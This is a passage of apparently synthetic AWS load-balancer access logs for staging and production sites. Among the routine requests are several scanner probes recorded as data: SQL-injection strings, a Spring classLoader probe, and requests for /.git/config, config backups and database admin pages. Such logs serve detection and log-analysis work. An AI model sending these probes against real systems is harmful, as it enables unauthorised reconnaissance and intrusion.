0.051917 301 301 920 3213 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da44-cbe9849d56024643991a62bb" "staging-alb.example.com" "-" 6 2024-11-01T02:28:04.894390Z "forward" "-" "-" "48.170.92.93:443" "301" "-" "-" +http 2024-11-01T02:28:06.365048Z staging-alb 3.181.101.80:23992 56.92.109.68:8080 0.071084 0.443951 0.004166 200 200 296 9800 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da46-d20a65554af74e46ada06058" "staging-alb.example.com" "-" 3 2024-11-01T02:28:06.365048Z "forward" "-" "-" "56.92.109.68:8080" "200" "-" "-" +https 2024-11-01T02:28:06.553078Z prod-web-alb 125.112.49.83:44944 10.0.215.241:443 0.002991 0.065884 0.081179 200 200 292 3007 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da46-d4c9afc0a37044afb4c5ca1c" "prod-web-alb.example.com" "-" 7 2024-11-01T02:28:06.553078Z "forward" "-" "-" "10.0.215.241:443" "200" "-" "-" +https 2024-11-01T02:28:07.961216Z prod-web-alb 193.27.228.161:60967 10.0.20.63:443 0.008125 0.407174 0.079907 301 301 238 11966 "POST /adminer.php HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da47-f1e1752db6a848cfa709b912" "-" "-" 3 2024-11-01T02:28:07.961216Z "forward" "-" "-" "10.0.20.63:443" "301" "-" "-" +https 2024-11-01T02:28:08.403070Z prod-api-alb 171.46.137.118:30961 10.0.65.220:443 0.092035 0.434343 0.011711 301 301 525 12143 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da48-5e1efbfa5b6e477c998969a8" "prod-api-alb.example.com" "-" 2 2024-11-01T02:28:08.403070Z "forward" "-" "-" "10.0.65.220:443" "301" "-" "-" +http 2024-11-01T02:28:09.977791Z staging-alb 138.22.53.35:64468 109.81.38.213:80 0.131399 0.125681 0.139057 200 200 697 4476 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da49-dc32086771754f64b7921d3a" "staging-alb.example.com" "-" 4 2024-11-01T02:28:09.977791Z "forward" "-" "-" "109.81.38.213:80" "200" "-" "-" +http 2024-11-01T02:28:11.907368Z staging-alb 235.171.110.58:23186 250.8.112.174:8080 0.144591 0.430490 0.030875 404 404 871 10641 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da4b-abd47d868ee8433699dfb185" "staging-alb.example.com" "-" 6 2024-11-01T02:28:11.907368Z "forward" "-" "-" "250.8.112.174:8080" "404" "-" "-" +https 2024-11-01T02:28:12.511768Z prod-api-alb 235.92.20.39:29010 10.0.141.188:443 0.002092 0.109791 0.008110 302 302 760 6926 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da4c-113a169e8a9c4ac2977194f3" "prod-api-alb.example.com" "-" 9 2024-11-01T02:28:12.511768Z "forward" "-" "-" "10.0.141.188:443" "302" "-" "-" +https 2024-11-01T02:28:14.390945Z prod-web-alb 185.181.187.26:30202 10.0.186.49:443 0.068980 0.061875 0.040670 302 302 761 7254 "GET /wp-config.php.bak HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da4e-535bc00762554dcf939a2b03" "-" "-" 5 2024-11-01T02:28:14.390945Z "forward" "-" "-" "10.0.186.49:443" "302" "-" "-" +https 2024-11-01T02:28:14.961519Z prod-api-alb 1.181.1.153:28190 10.0.245.89:443 0.037920 0.032571 0.038068 200 200 666 11523 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da4e-69342d54650f4327a8b9d7ec" "prod-api-alb.example.com" "-" 4 2024-11-01T02:28:14.961519Z "forward" "-" "-" "10.0.245.89:443" "200" "-" "-" +https 2024-11-01T02:28:16.022318Z prod-web-alb 49.85.8.5:46090 10.0.37.78:443 0.016390 0.298847 0.027093 301 301 615 9185 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da50-4b8f397145f1464cb39f6f05" "prod-web-alb.example.com" "-" 9 2024-11-01T02:28:16.022318Z "forward" "-" "-" "10.0.37.78:443" "301" "-" "-" +http 2024-11-01T02:28:16.792294Z staging-alb 54.133.213.163:21616 6.163.37.143:443 0.086016 0.125472 0.147422 301 301 686 12223 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da50-7a736052e89f43779c62940c" "staging-alb.example.com" "-" 7 2024-11-01T02:28:16.792294Z "forward" "-" "-" "6.163.37.143:443" "301" "-" "-" +https 2024-11-01T02:28:17.802402Z prod-api-alb 163.177.92.83:43587 10.0.40.20:443 0.000014 0.202121 0.087939 200 200 309 6470 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da51-ca162f4b22594862be1fc171" "prod-api-alb.example.com" "-" 9 2024-11-01T02:28:17.802402Z "forward" "-" "-" "10.0.40.20:443" "200" "-" "-" +http 2024-11-01T02:28:18.343570Z staging-alb 141.166.251.239:29595 182.156.238.168:8080 0.146337 0.247385 0.002151 404 404 527 6505 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da52-3ef7a17d36dd48a890c23467" "staging-alb.example.com" "-" 4 2024-11-01T02:28:18.343570Z "forward" "-" "-" "182.156.238.168:8080" "404" "-" "-" +http 2024-11-01T02:28:18.477516Z staging-alb 102.202.250.0:26243 48.110.62.242:443 0.112828 0.080780 0.058122 302 302 212 4738 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da52-9e0aa57165644b0e903976c9" "staging-alb.example.com" "-" 8 2024-11-01T02:28:18.477516Z "forward" "-" "-" "48.110.62.242:443" "302" "-" "-" +https 2024-11-01T02:28:20.301879Z prod-api-alb 125.118.18.159:28981 10.0.49.201:443 0.027065 0.321226 0.012255 200 200 458 4860 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da54-6e04e87cb685451aade50db7" "prod-api-alb.example.com" "-" 1 2024-11-01T02:28:20.301879Z "forward" "-" "-" "10.0.49.201:443" "200" "-" "-" +http 2024-11-01T02:28:21.437402Z staging-alb 113.112.106.155:53825 143.73.35.39:8080 0.095859 0.580125 0.109656 200 200 712 3720 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da55-7b5e878b777241a2ba78fbac" "staging-alb.example.com" "-" 8 2024-11-01T02:28:21.437402Z "forward" "-" "-" "143.73.35.39:8080" "200" "-" "-" +http 2024-11-01T02:28:22.861100Z staging-alb 69.104.122.120:61309 43.192.24.183:443 0.060168 0.292651 0.036661 200 200 307 12132 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da56-2169d04f4af0487a955fa4e8" "staging-alb.example.com" "-" 2 2024-11-01T02:28:22.861100Z "forward" "-" "-" "43.192.24.183:443" "200" "-" "-" +https 2024-11-01T02:28:24.302968Z prod-web-alb 122.45.241.212:12508 10.0.141.218:443 0.046270 0.121944 0.080334 200 200 633 8465 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da58-3b321e543b6b43eebe378a61" "prod-web-alb.example.com" "-" 10 2024-11-01T02:28:24.302968Z "forward" "-" "-" "10.0.141.218:443" "200" "-" "-" +https 2024-11-01T02:28:24.519506Z prod-api-alb 21.43.150.18:55176 10.0.16.42:443 0.064676 0.108870 0.007655 404 404 504 8734 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da58-7d1d99b77af648fd91040a1c" "prod-api-alb.example.com" "-" 5 2024-11-01T02:28:24.519506Z "forward" "-" "-" "10.0.16.42:443" "404" "-" "-" +https 2024-11-01T02:28:24.755862Z staging-alb 122.145.27.229:12012 175.113.220.204:443 0.146579 0.237985 0.017696 301 301 463 4332 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da58-3ff49631745f427fa0a63471" "staging-alb.example.com" "-" 8 2024-11-01T02:28:24.755862Z "forward" "-" "-" "175.113.220.204:443" "301" "-" "-" +https 2024-11-01T02:28:25.940715Z prod-api-alb 225.186.222.177:58099 10.0.211.132:443 0.023224 0.013171 0.053841 404 404 759 12742 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da59-2a644e03c60248adb3661a15" "prod-api-alb.example.com" "-" 0 2024-11-01T02:28:25.940715Z "forward" "-" "-" "10.0.211.132:443" "404" "-" "-" +https 2024-11-01T02:28:27.441278Z prod-web-alb 171.59.30.173:61888 10.0.159.215:443 0.097825 0.187751 0.029671 302 302 535 4410 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da5b-5423b52a57a0463ba1ca17a6" "-" "-" 5 2024-11-01T02:28:27.441278Z "forward" "-" "-" "10.0.159.215:443" "302" "-" "-" +http 2024-11-01T02:28:27.887156Z staging-alb 185.203.163.63:41982 24.120.212.88:8080 0.025960 0.675328 0.094110 301 301 276 544 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da5b-c2c8caa8ed6b4f4f81bde434" "staging-alb.example.com" "-" 4 2024-11-01T02:28:27.887156Z "forward" "-" "-" "24.120.212.88:8080" "301" "-" "-" +https 2024-11-01T02:28:28.703000Z prod-web-alb 221.202.25.12:34436 10.0.33.169:443 0.010646 0.253102 0.004218 301 301 717 13329 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da5c-e6bc18711ea64697b17244df" "prod-web-alb.example.com" "-" 6 2024-11-01T02:28:28.703000Z "forward" "-" "-" "10.0.33.169:443" "301" "-" "-" +https 2024-11-01T02:28:29.393050Z prod-api-alb 56.69.1.104:35340 10.0.89.42:443 0.015300 0.091604 0.067421 404 404 429 10648 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da5d-4b572ad9abf342789536be18" "prod-api-alb.example.com" "-" 3 2024-11-01T02:28:29.393050Z "forward" "-" "-" "10.0.89.42:443" "404" "-" "-" +https 2024-11-01T02:28:31.282522Z staging-alb 33.94.0.159:22518 193.91.47.83:8080 0.125628 0.319796 0.104447 200 200 158 3179 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da5f-f4297999e1a4473db232e252" "staging-alb.example.com" "-" 9 2024-11-01T02:28:31.282522Z "forward" "-" "-" "193.91.47.83:8080" "200" "-" "-" +https 2024-11-01T02:28:32.183274Z prod-api-alb 114.11.222.196:17772 10.0.66.58:443 0.011782 0.205276 0.008939 301 301 804 4496 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da60-750d4c20799a4361b8338a92" "prod-api-alb.example.com" "-" 6 2024-11-01T02:28:32.183274Z "forward" "-" "-" "10.0.66.58:443" "301" "-" "-" +https 2024-11-01T02:28:34.046831Z prod-api-alb 193.27.228.128:17944 10.0.70.119:443 0.016683 0.433132 0.064644 200 200 978 6874 "POST /login?id=1'-- HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da62-26afafce4772488b942b9840" "-" "-" 7 2024-11-01T02:28:34.046831Z "forward" "-" "-" "10.0.70.119:443" "200" "-" "-" +http 2024-11-01T02:28:35.528510Z staging-alb 27.57.163.6:39248 129.178.27.183:8080 0.017219 0.001500 0.073737 200 200 611 8491 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da63-7aa87e046e0444b0a8b5fd55" "staging-alb.example.com" "-" 1 2024-11-01T02:28:35.528510Z "forward" "-" "-" "129.178.27.183:8080" "200" "-" "-" +https 2024-11-01T02:28:36.230120Z prod-api-alb 193.27.228.254:25757 10.0.199.30:443 0.084998 0.263249 0.024442 403 403 945 4223 "GET /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da64-b8c4995e413b435188637a27" "-" "-" 8 2024-11-01T02:28:36.230120Z "forward" "-" "-" "10.0.199.30:443" "403" "-" "-" +https 2024-11-01T02:28:37.946506Z prod-api-alb 136.165.95.97:24095 10.0.146.14:443 0.098801 0.171740 0.043414 200 200 773 2817 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da65-7597b2f8f8264fca88f2ab20" "prod-api-alb.example.com" "-" 5 2024-11-01T02:28:37.946506Z "forward" "-" "-" "10.0.146.14:443" "200" "-" "-" +https 2024-11-01T02:28:39.588648Z prod-api-alb 114.189.117.238:60672 10.0.27.181:443 0.003384 0.225463 0.018632 200 200 445 1506 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da67-c0fd26f1315a484886ba5a28" "prod-api-alb.example.com" "-" 10 2024-11-01T02:28:39.588648Z "forward" "-" "-" "10.0.27.181:443" "200" "-" "-" +https 2024-11-01T02:28:40.856161Z prod-api-alb 48.225.91.134:10979 10.0.210.52:443 0.081171 0.085613 0.075679 200 200 198 7189 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da68-f506d731b7ee4f9d8a70d5b2" "prod-api-alb.example.com" "-" 4 2024-11-01T02:28:40.856161Z "forward" "-" "-" "10.0.210.52:443" "200" "-" "-" +https 2024-11-01T02:28:42.599015Z staging-alb 185.181.129.31:32743 113.222.70.198:443 0.066514 0.041852 0.045090 200 200 546 11591 "GET /search?q=1' UNION SELECT HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da6a-92fb41bbf8794ebd9f874dc9" "-" "-" 8 2024-11-01T02:28:42.599015Z "forward" "-" "-" "113.222.70.198:443" "200" "-" "-" +https 2024-11-01T02:28:43.855085Z prod-web-alb 181.40.157.127:27381 10.0.16.255:443 0.053331 0.242007 0.005853 200 200 466 1219 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da6b-b00067cf736b4a40be7c367c" "prod-web-alb.example.com" "-" 1 2024-11-01T02:28:43.855085Z "forward" "-" "-" "10.0.16.255:443" "200" "-" "-" +https 2024-11-01T02:28:44.286672Z prod-web-alb 184.88.171.198:43211 10.0.61.73:443 0.079183 0.007696 0.072724 200 200 519 5860 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da6c-ee479bb5b207484998152da4" "prod-web-alb.example.com" "-" 8 2024-11-01T02:28:44.286672Z "forward" "-" "-" "10.0.61.73:443" "200" "-" "-" +https 2024-11-01T02:28:45.838824Z prod-api-alb 147.126.235.160:41758 10.0.137.16:443 0.073349 0.125400 0.056652 200 200 470 12432 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da6d-b3c001ba74ed4fa3b37c474e" "prod-api-alb.example.com" "-" 9 2024-11-01T02:28:45.838824Z "forward" "-" "-" "10.0.137.16:443" "200" "-" "-" +https 2024-11-01T02:28:46.768507Z prod-api-alb 185.247.16.159:43791 10.0.227.134:443 0.019510 0.134281 0.039998 200 200 400 10365 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da6e-53876f9fcb5b4d3381d78872" "prod-api-alb.example.com" "-" 4 2024-11-01T02:28:46.768507Z "forward" "-" "-" "10.0.227.134:443" "200" "-" "-" +https 2024-11-01T02:28:47.309636Z staging-alb 45.155.205.208:60325 85.95.246.167:8080 0.014352 0.296272 0.014821 401 401 127 11244 "POST /phpmyadmin HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da6f-28be85d7ee944ebead1a1314" "-" "-" 6 2024-11-01T02:28:47.309636Z "forward" "-" "-" "85.95.246.167:8080" "401" "-" "-" +http 2024-11-01T02:28:48.781005Z staging-alb 72.151.202.148:26830 27.142.248.191:80 0.140314 0.056614 0.079812 200 200 234 12360 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da70-95143fef93104d03bc4bd5b1" "staging-alb.example.com" "-" 8 2024-11-01T02:28:48.781005Z "forward" "-" "-" "27.142.248.191:80" "200" "-" "-" +https 2024-11-01T02:28:50.738416Z prod-api-alb 213.83.133.55:30541 10.0.90.170:443 0.004098 0.499989 0.007237 404 404 957 3441 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da72-ec9000fb0afe4f69be9f1e4b" "prod-api-alb.example.com" "-" 9 2024-11-01T02:28:50.738416Z "forward" "-" "-" "10.0.90.170:443" "404" "-" "-" +https 2024-11-01T02:28:51.067913Z prod-web-alb 185.181.47.127:41119 10.0.10.225:443 0.079559 0.349007 0.082993 301 301 358 367 "POST /wp-admin HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da73-9f66a666564a43a097cee3c3" "-" "-" 8 2024-11-01T02:28:51.067913Z "forward" "-" "-" "10.0.10.225:443" "301" "-" "-" +https 2024-11-01T02:28:52.158426Z prod-web-alb 45.155.205.70:47700 10.0.163.157:443 0.029124 0.194814 0.032725 401 401 269 13928 "GET /.git/config HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da74-da9c4e3fd2e249c29d0f68e9" "-" "-" 9 2024-11-01T02:28:52.158426Z "forward" "-" "-" "10.0.163.157:443" "401" "-" "-" +http 2024-11-01T02:28:52.280436Z staging-alb 130.22.107.180:12679 63.103.65.249:80 0.083063 0.444461 0.000750 301 301 270 5138 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da74-e1affaf7ece74b3e9d054db4" "staging-alb.example.com" "-" 1 2024-11-01T02:28:52.280436Z "forward" "-" "-" "63.103.65.249:80" "301" "-" "-" +https 2024-11-01T02:28:53.022809Z staging-alb 132.147.58.26:29932 230.93.213.178:80 0.021000 0.260183 0.074381 200 200 745 5331 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da75-a7707dae17304715a1aa739d" "staging-alb.example.com" "-" 0 2024-11-01T02:28:53.022809Z "forward" "-" "-" "230.93.213.178:80" "200" "-" "-" +https 2024-11-01T02:28:54.035401Z prod-web-alb 221.240.155.22:22344 10.0.251.153:443 0.088199 0.241238 0.074299 302 302 3 7718 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da76-4d859aa41b3349bbad0c5c4f" "prod-web-alb.example.com" "-" 6 2024-11-01T02:28:54.035401Z "forward" "-" "-" "10.0.251.153:443" "302" "-" "-" +https 2024-11-01T02:28:54.370601Z prod-api-alb 39.34.107.38:39867 10.0.225.53:443 0.085542 0.002679 0.024426 302 302 178 10384 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da76-a548d6e3a82b4c36947dd511" "-" "-" 7 2024-11-01T02:28:54.370601Z "forward" "-" "-" "10.0.225.53:443" "302" "-" "-" +https 2024-11-01T02:28:54.686670Z prod-api-alb 194.222.18.80:43585 10.0.9.101:443 0.047638 0.229107 0.014317 404 404 251 9234 "GET 